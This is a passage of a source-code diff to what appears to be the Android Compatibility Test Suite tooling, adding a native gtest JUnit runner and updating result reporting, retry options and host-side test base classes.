+    gRunNotifier.fireTestStarted = env->GetMethodID(gRunNotifier.clazz, "fireTestStarted",
+            "(Lorg/junit/runner/Description;)V");
+    gRunNotifier.fireTestIgnored = env->GetMethodID(gRunNotifier.clazz, "fireTestIgnored",
+            "(Lorg/junit/runner/Description;)V");
+    gRunNotifier.fireTestFinished = env->GetMethodID(gRunNotifier.clazz, "fireTestFinished",
+            "(Lorg/junit/runner/Description;)V");
+    gRunNotifier.fireTestFailure = env->GetMethodID(gRunNotifier.clazz, "fireTestFailure",
+            "(Lorg/junit/runner/notification/Failure;)V");
+
+    auto unitTest = ::testing::UnitTest::GetInstance();
+    for (int testCaseIndex = 0; testCaseIndex < unitTest->total_test_case_count(); testCaseIndex++) {
+        auto testCase = unitTest->GetTestCase(testCaseIndex);
+        for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+            auto testInfo = testCase->GetTestInfo(testIndex);
+            ScopedLocalRef<jobject> testDescription(env,
+                    createTestDescription(env, testCase->name(), testInfo->name()));
+            addChild(env, suite, testDescription.get());
+        }
+    }
+}
+
+extern "C"
+JNIEXPORT jboolean JNICALL
+Java_com_android_gtestrunner_GtestRunner_nRun(JNIEnv *env, jclass, jobject notifier) {
+    auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+    JUnitNotifyingListener junitListener{env, notifier};
+    listeners.Append(&junitListener);
+    int success = RUN_ALL_TESTS();
+    listeners.Release(&junitListener);
+    return success == 0;
+}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
new file mode 100644
index 0000000..222a1a0
--- /dev/null
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.gtestrunner;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.notification.RunNotifier;
+
+public class GtestRunner extends Runner {
+    private static boolean sOnceFlag = false;
+
+    private Class mTargetClass;
+    private Description mDescription;
+
+    public GtestRunner(Class testClass) {
+        synchronized (GtestRunner.class) {
+            if (sOnceFlag) {
+                throw new IllegalStateException("Error multiple GtestRunners defined");
+            }
+            sOnceFlag = true;
+        }
+
+        mTargetClass = testClass;
+        TargetLibrary library = (TargetLibrary) testClass.getAnnotation(TargetLibrary.class);
+        if (library == null) {
+            throw new IllegalStateException("Missing required @TargetLibrary annotation");
+        }
+        System.loadLibrary(library.value());
+        mDescription = Description.createSuiteDescription(testClass);
+        nInitialize(mDescription);
+    }
+
+    @Override
+    public Description getDescription() {
+        return mDescription;
+    }
+
+    @Override
+    public void run(RunNotifier notifier) {
+        nRun(notifier);
+    }
+
+    private static native void nInitialize(Description description);
+    private static native void nRun(RunNotifier notifier);
+}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
new file mode 100644
index 0000000..23bc53d
--- /dev/null
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/TargetLibrary.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.gtestrunner;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.TYPE)
+@Inherited
+public @interface TargetLibrary {
+    String value();
+}
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 9c857f0..883b439 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -17,7 +17,10 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.compatibility.common">
+
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
     <application>
         <uses-library android:name="android.test.runner" />
         <activity android:name="com.android.compatibility.common.deviceinfo.TestDeviceInfo" />
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 50d1c3a..48ed864 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -16,6 +16,7 @@
 package com.android.compatibility.common.tradefed.build;
 
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
 import com.android.tradefed.build.IFolderBuildInfo;
 import com.android.tradefed.build.VersionedFile;
 import com.android.tradefed.util.FileUtil;
@@ -232,18 +233,6 @@
     }
 
     /**
-     * @return a {@link File} representing the directory to store screenshots taken while testing.
-     * @throws FileNotFoundException if the directory structure is not valid.
-     */
-    public File getScreenshotsDir() throws FileNotFoundException {
-        File screenshotsDir = new File(getResultDir(), "screenshots");
-        if (!screenshotsDir.exists()) {
-            screenshotsDir.mkdirs();
-        }
-        return screenshotsDir;
-    }
-
-    /**
      * @return a {@link File} representing the test modules directory.
      * @throws FileNotFoundException if the directory structure is not valid.
      */
@@ -264,6 +253,12 @@
         }
 
         if (testsDir == null) {
+            if (mBuildInfo instanceof IDeviceBuildInfo) {
+                testsDir = ((IDeviceBuildInfo) mBuildInfo).getTestsDir();
+            }
+        }
+
+        if (testsDir == null) {
             String altTestsDir = System.getenv().get(ALT_HOST_TESTCASE_DIR);
             if (altTestsDir != null) {
                 testsDir = new File(altTestsDir);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 32e6197..fe29c7f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -195,7 +195,12 @@
                 "\t\t\t--screenshot-on-failure: Capture a screenshot when a test fails"
                 + LINE_SEPARATOR +
                 "\t\t\t--shard-count <shards>: Shards a run into the given number of independent " +
-                "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR;
+                "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR +
+                "\t ----- In order to retry a previous run -----" + LINE_SEPARATOR +
+                "\tretry --retry <session id to retry> [--retry-type <FAILED | NOT_EXECUTED>]"
+                + LINE_SEPARATOR +
+                "\t\tWithout --retry-type, retry will run both FAIL and NOT_EXECUTED tests"
+                + LINE_SEPARATOR;
         commandHelp.put(RUN_PATTERN, combinedRunHelp);
 
         commandHelp.put(ADD_PATTERN, String.format(
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 51d59a1..51f8c06 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -16,7 +16,8 @@
 package com.android.compatibility.common.tradefed.result;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
 import com.android.compatibility.common.tradefed.util.RetryType;
 import com.android.compatibility.common.util.ChecksumReporter;
 import com.android.compatibility.common.util.ICaseResult;
@@ -38,6 +39,7 @@
 import com.android.tradefed.config.OptionCopier;
 import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.FileInputStreamSource;
 import com.android.tradefed.result.ILogSaver;
 import com.android.tradefed.result.ILogSaverListener;
 import com.android.tradefed.result.IShardableListener;
@@ -48,6 +50,7 @@
 import com.android.tradefed.result.LogFile;
 import com.android.tradefed.result.LogFileSaver;
 import com.android.tradefed.result.TestSummary;
+import com.android.tradefed.result.suite.SuiteResultReporter;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.StreamUtil;
 import com.android.tradefed.util.TimeUtil;
@@ -62,6 +65,8 @@
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashMap;
@@ -79,10 +84,12 @@
 public class ResultReporter implements ILogSaverListener, ITestInvocationListener,
        ITestSummaryListener, IShardableListener {
 
+    public static final String INCLUDE_HTML_IN_ZIP = "html-in-zip";
     private static final String UNKNOWN_DEVICE = "unknown_device";
     private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
     private static final String CTS_PREFIX = "cts:";
     private static final String BUILD_INFO = CTS_PREFIX + "build_";
+    private static final String LATEST_LINK_NAME = "latest";
 
     public static final String BUILD_BRAND = "build_brand";
     public static final String BUILD_DEVICE = "build_device";
@@ -99,14 +106,14 @@
             ResultHandler.FAILURE_REPORT_NAME,
             "diffs");
 
-    @Option(name = CompatibilityTest.RETRY_OPTION,
+    @Option(name = RetryFactoryTest.RETRY_OPTION,
             shortName = 'r',
             description = "retry a previous session.",
             importance = Importance.IF_UNSET)
     private Integer mRetrySessionId = null;
 
-    @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
-            description = "used with " + CompatibilityTest.RETRY_OPTION
+    @Option(name = RetryFactoryTest.RETRY_TYPE_OPTION,
+            description = "used with " + RetryFactoryTest.RETRY_OPTION
             + ", retry tests of a certain status. Possible values include \"failed\", "
             + "\"not_executed\", and \"custom\".",
             importance = Importance.IF_UNSET)
@@ -127,6 +134,10 @@
     @Option(name = "compress-logs", description = "Whether logs will be saved with compression")
     private boolean mCompressLogs = true;
 
+    @Option(name = INCLUDE_HTML_IN_ZIP,
+            description = "Whether failure summary report is included in the zip fie.")
+    private boolean mIncludeHtml = false;
+
     private CompatibilityBuildHelper mBuildHelper;
     private File mResultDir = null;
     private File mLogDir = null;
@@ -448,10 +459,24 @@
      */
     @Override
     public void putSummary(List<TestSummary> summaries) {
-        // This is safe to be invoked on either the master or a shard ResultReporter,
-        // but the value added to the report will be that of the master ResultReporter.
-        if (summaries.size() > 0) {
-            mReferenceUrl = summaries.get(0).getSummary().getString();
+        for (TestSummary summary : summaries) {
+            // If one summary is from SuiteResultReporter, log it as an extra file.
+            if (SuiteResultReporter.SUITE_REPORTER_SOURCE.equals(summary.getSource())) {
+                File summaryFile = null;
+                try {
+                    summaryFile = FileUtil.createTempFile("summary", ".txt");
+                    FileUtil.writeToFile(summary.getSummary().getString(), summaryFile);
+                    try (InputStreamSource stream = new FileInputStreamSource(summaryFile)) {
+                        testLog("summary", LogDataType.TEXT, stream);
+                    }
+                } catch (IOException e) {
+                    CLog.e(e);
+                } finally {
+                    FileUtil.deleteFile(summaryFile);
+                }
+            } else if (mReferenceUrl == null && summary.getSummary().getString() != null) {
+                mReferenceUrl = summary.getSummary().getString();
+            }
         }
     }
 
@@ -520,10 +545,17 @@
                 copyRetryFiles(ResultHandler.getResultDirectory(
                         mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
             }
+            File failureReport = null;
+            if (mIncludeHtml) {
+                // Create the html report before the zip file.
+                failureReport = ResultHandler.createFailureReport(resultFile);
+            }
             File zippedResults = zipResults(mResultDir);
-            // Create failure report after zip file so extra data is not uploaded
-            File failureReport = ResultHandler.createFailureReport(resultFile);
-            if (failureReport.exists()) {
+            if (!mIncludeHtml) {
+                // Create failure report after zip file so extra data is not uploaded
+                failureReport = ResultHandler.createFailureReport(resultFile);
+            }
+            if (failureReport != null && failureReport.exists()) {
                 info("Test Result: %s", failureReport.getCanonicalPath());
             } else {
                 info("Test Result: %s", resultFile.getCanonicalPath());
@@ -531,6 +563,16 @@
             info("Test Logs: %s", mLogDir.getCanonicalPath());
             debug("Full Result: %s", zippedResults.getCanonicalPath());
 
+            Path latestLink = createLatestLinkDirectory(mResultDir.toPath());
+            if (latestLink != null) {
+                info("Latest results link: " + latestLink.toAbsolutePath());
+            }
+
+            latestLink = createLatestLinkDirectory(mLogDir.toPath());
+            if (latestLink != null) {
+                info("Latest logs link: " + latestLink.toAbsolutePath());
+            }
+
             saveLog(resultFile, zippedResults);
 
             uploadResult(resultFile);
@@ -547,6 +589,30 @@
                 moduleProgress);
     }
 
+    private Path createLatestLinkDirectory(Path directory) {
+        Path link = null;
+
+        Path parent = directory.getParent();
+
+        if (parent != null) {
+            link = parent.resolve(LATEST_LINK_NAME);
+            try {
+                // if latest already exists, we have to remove it before creating
+                Files.deleteIfExists(link);
+                Files.createSymbolicLink(link, directory);
+            } catch (IOException ioe) {
+                CLog.e("Exception while attempting to create 'latest' link to: [%s]",
+                    directory);
+                CLog.e(ioe);
+                return null;
+            } catch (UnsupportedOperationException uoe) {
+                CLog.e("Failed to create 'latest' symbolic link - unsupported operation");
+                return null;
+            }
+        }
+        return link;
+    }
+
     /**
      * {@inheritDoc}
      */
@@ -781,11 +847,11 @@
         }
         return !(RetryType.FAILED.equals(mRetryType)
                 || RetryType.CUSTOM.equals(mRetryType)
-                || args.contains(CompatibilityTest.INCLUDE_FILTER_OPTION)
-                || args.contains(CompatibilityTest.EXCLUDE_FILTER_OPTION)
-                || args.contains(CompatibilityTest.SUBPLAN_OPTION)
+                || args.contains(CompatibilityTestSuite.INCLUDE_FILTER_OPTION)
+                || args.contains(CompatibilityTestSuite.EXCLUDE_FILTER_OPTION)
+                || args.contains(CompatibilityTestSuite.SUBPLAN_OPTION)
                 || args.matches(String.format(".* (-%s|--%s) .*",
-                CompatibilityTest.TEST_OPTION_SHORT_NAME, CompatibilityTest.TEST_OPTION)));
+                CompatibilityTestSuite.TEST_OPTION_SHORT_NAME, CompatibilityTestSuite.TEST_OPTION)));
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 9c87a75..87f2436 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -16,9 +16,9 @@
 package com.android.compatibility.common.tradefed.result;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
 import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
 import com.android.compatibility.common.tradefed.util.OptionHelper;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
@@ -33,8 +33,8 @@
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 
 import com.google.common.annotations.VisibleForTesting;
 
@@ -43,13 +43,13 @@
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
-import java.util.HashSet;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
 
@@ -90,32 +90,32 @@
             importance=Importance.IF_UNSET)
     private Set<String> mResultTypes = new HashSet<String>();
 
-    @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+    @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
             description = "the include module filters to apply.",
             importance = Importance.NEVER)
     private Set<String> mIncludeFilters = new HashSet<String>();
 
-    @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+    @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
             description = "the exclude module filters to apply.",
             importance = Importance.NEVER)
     private Set<String> mExcludeFilters = new HashSet<String>();
 
-    @Option(name = CompatibilityTest.MODULE_OPTION, shortName = 'm',
+    @Option(name = CompatibilityTestSuite.MODULE_OPTION, shortName = 'm',
             description = "the test module to run.",
             importance = Importance.NEVER)
     private String mModuleName = null;
 
-    @Option(name = CompatibilityTest.TEST_OPTION, shortName = 't',
+    @Option(name = CompatibilityTestSuite.TEST_OPTION, shortName = 't',
             description = "the test to run.",
             importance = Importance.NEVER)
     private String mTestName = null;
 
-    @Option(name = CompatibilityTest.ABI_OPTION, shortName = 'a',
+    @Option(name = CompatibilityTestSuite.ABI_OPTION, shortName = 'a',
             description = "the abi to test.",
             importance = Importance.NEVER)
     private String mAbiName = null;
 
-    @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+    @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
             description = "the subplan used in the previous session",
             importance = Importance.NEVER)
     private String mLastSubPlan;
@@ -159,7 +159,7 @@
             throw new RuntimeException(
                     String.format("Unable to find or parse subplan %s", name), e);
         } finally {
-            StreamUtil.closeStream(subPlanInputStream);
+            StreamUtil.close(subPlanInputStream);
         }
     }
 
@@ -207,7 +207,7 @@
      * Create a subplan derived from a result.
      * <p/>
      * {@link Option} values must be set before this is called.
-     * @param build
+     * @param buildHelper
      * @return subplan
      * @throws ConfigurationException
      */
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
index 7ebd717..749be97 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -29,13 +29,14 @@
 import com.android.compatibility.common.util.BusinessLogicFactory;
 import com.android.compatibility.common.util.BusinessLogicHostExecutor;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import java.io.File;
 
 /**
  * Host-side base class for tests leveraging the Business Logic service.
  */
-public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+public class BusinessLogicHostTestBase extends BaseHostJUnit4Test {
 
     /* String marking the beginning of the parameter in a test name */
     private static final String PARAM_START = "[";
@@ -51,7 +52,7 @@
         // Business logic must be retrieved in this @Before method, since the build info contains
         // the location of the business logic file and cannot be referenced from a static context
         if (mBusinessLogic == null) {
-            CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+            CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild());
             File businessLogicFile = helper.getBusinessLogicHostFile();
             if (businessLogicFile != null && businessLogicFile.canRead()) {
                 mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
@@ -71,7 +72,7 @@
         if (mBusinessLogic.hasLogicFor(testName)) {
             CLog.i("Applying business logic for test case: ", testName);
             BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
-                    mBuild, this);
+                    getBuild(), this);
             mBusinessLogic.applyLogicFor(testName, executor);
         }
     }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
deleted file mode 100644
index 1222a1f..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import com.android.annotations.Nullable;
-import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.util.AbiUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.internal.AssumptionViolatedException;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Compatibility host test base class for JUnit4 tests. Enables host-side tests written in JUnit4
- * to access build and ABI information, as well as a reference to the testing device. The class
- * includes methods to install and uninstall test packages, as well as methods to run device-side
- * tests and retrieve their results.
- */
-public class CompatibilityHostTestBase implements IAbiReceiver, IBuildReceiver, IDeviceTest {
-
-    protected static final String AJUR = "android.support.test.runner.AndroidJUnitRunner";
-
-    /** The build will be used. */
-    protected IBuildInfo mBuild;
-
-    /** The ABI to use. */
-    protected IAbi mAbi;
-
-    /** A reference to the device under test. */
-    protected ITestDevice mDevice;
-
-    /** The test runner used for test apps */
-    private String mRunner;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public IAbi getAbi() {
-        return mAbi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        // Get the build, this is used to access the APK.
-        mBuild = buildInfo;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Before
-    public void baseSetUp() throws Exception {
-        mRunner = AJUR;
-    }
-
-    /**
-     * Set the runner name
-     * @param runner of the device test runner
-     */
-    protected void setRunner(String runner) {
-        mRunner = runner;
-    }
-
-    /**
-     * Get the runner name
-     * @return name of the device test runner
-     */
-    protected String getRunner() {
-        return mRunner;
-    }
-
-    /**
-     * Installs a package on the device
-     * @param fileName the name of the file to install
-     * @param options optional extra arguments to pass. See 'adb shell pm install --help' for
-     * available options
-     * @throws FileNotFoundException if file with filename cannot be found
-     * @throws DeviceNotAvailableException
-     */
-    protected void installPackage(String fileName, String... options)
-            throws FileNotFoundException, DeviceNotAvailableException {
-
-        final List<String> optList = new ArrayList<>(Arrays.asList(options));
-        optList.add(AbiUtils.createAbiFlag(mAbi.getName()));
-        options = optList.toArray(new String[optList.size()]);
-
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        File testFile = buildHelper.getTestFile(fileName);
-        // Install the APK on the device.
-        String installResult = mDevice.installPackage(testFile, true, options);
-
-        assertNull(String.format("Failed to install %s, Reason: %s", fileName, installResult),
-                installResult);
-    }
-
-    /**
-     * Uninstalls a package on the device
-     * @param pkgName the Android package to uninstall
-     * @return a {@link String} with an error code, or <code>null</code> if success
-     * @throws DeviceNotAvailableException
-     */
-    protected String uninstallPackage(String pkgName) throws DeviceNotAvailableException {
-        return mDevice.uninstallPackage(pkgName);
-    }
-
-    /**
-     * Checks if a package of a given name is installed on the device
-     * @param pkg the name of the package
-     * @return true if the package is found on the device
-     * @throws DeviceNotAvailableException
-     */
-    protected boolean isPackageInstalled(String pkg) throws DeviceNotAvailableException {
-        for (String installedPackage : mDevice.getInstalledPackageNames()) {
-            if (pkg.equals(installedPackage)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private void printTestResult(TestRunResult runResult) {
-        for (Map.Entry<TestIdentifier, TestResult> testEntry :
-                     runResult.getTestResults().entrySet()) {
-            TestResult testResult = testEntry.getValue();
-            TestStatus testStatus = testResult.getStatus();
-            CLog.logAndDisplay(LogLevel.INFO,
-                    "Test " + testEntry.getKey() + ": " + testStatus);
-            if (testStatus != TestStatus.PASSED && testStatus != TestStatus.ASSUMPTION_FAILURE) {
-                CLog.logAndDisplay(LogLevel.WARN, testResult.getStackTrace());
-            }
-        }
-    }
-
-    /**
-     * Runs tests of a given package on the device and reports success.
-     * @param pkgName the name of the package containing tests
-     * @param testClassName the class from which tests should be collected. Tests are collected
-     * from all test classes in the package if null
-     * @return true if at least once test runs and there are no failures
-     * @throws AssertionError if device fails to run instrumentation tests
-     * @throws AssumptionViolatedException if each device test fails an assumption
-     * @throws DeviceNotAvailableException
-     */
-    protected boolean runDeviceTests(String pkgName, @Nullable String testClassName)
-            throws DeviceNotAvailableException {
-        return runDeviceTests(pkgName, testClassName, null /*testMethodName*/);
-    }
-
-    /**
-     * Runs tests of a given package on the device and reports success.
-     * @param pkgName the name of the package containing tests
-     * @param testClassName the class from which tests should be collected. Tests are collected
-     * from all test classes in the package if null
-     * @param testMethodName the test method to run. All tests from the class or package are run
-     * if null
-     * @return true if at least once test runs and there are no failures
-     * @throws AssertionError if device fails to run instrumentation tests
-     * @throws AssumptionViolatedException if each device test fails an assumption
-     * @throws DeviceNotAvailableException
-     */
-    protected boolean runDeviceTests(String pkgName, @Nullable String testClassName,
-            @Nullable String testMethodName)
-            throws DeviceNotAvailableException {
-        TestRunResult runResult = doRunTests(pkgName, testClassName, testMethodName);
-        printTestResult(runResult);
-        // assume not all tests have skipped (and rethrow AssumptionViolatedException if so)
-        Assume.assumeTrue(runResult.getNumTests() != runResult.getNumTestsInState(
-                TestStatus.ASSUMPTION_FAILURE));
-        return !runResult.hasFailedTests() && runResult.getNumTests() > 0;
-    }
-
-    /** Helper method to run tests and return the listener that collected the results. */
-    private TestRunResult doRunTests(
-        String pkgName, String testClassName,
-        String testMethodName) throws DeviceNotAvailableException {
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-            pkgName, mRunner, mDevice.getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = createCollectingListener();
-        assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
-        return listener.getCurrentRunResults();
-    }
-
-    @VisibleForTesting
-    protected CollectingTestListener createCollectingListener() {
-        return new CollectingTestListener();
-    }
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index 07bfe83..a8c016c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -20,6 +20,7 @@
 import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
 import com.android.compatibility.common.tradefed.result.SubPlanHelper;
 import com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
 import com.android.compatibility.common.tradefed.util.RetryType;
 import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtil;
@@ -79,8 +80,10 @@
 import java.util.concurrent.TimeUnit;
 
 /**
- * A Test for running Compatibility Suites
+ * A Test for running Compatibility Suites.
+ * @deprecated use {@link CompatibilityTestSuite} instead.
  */
+@Deprecated
 @OptionClass(alias = "compatibility")
 public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
         IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
@@ -473,7 +476,16 @@
                 moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
                         module.getAbi().getName());
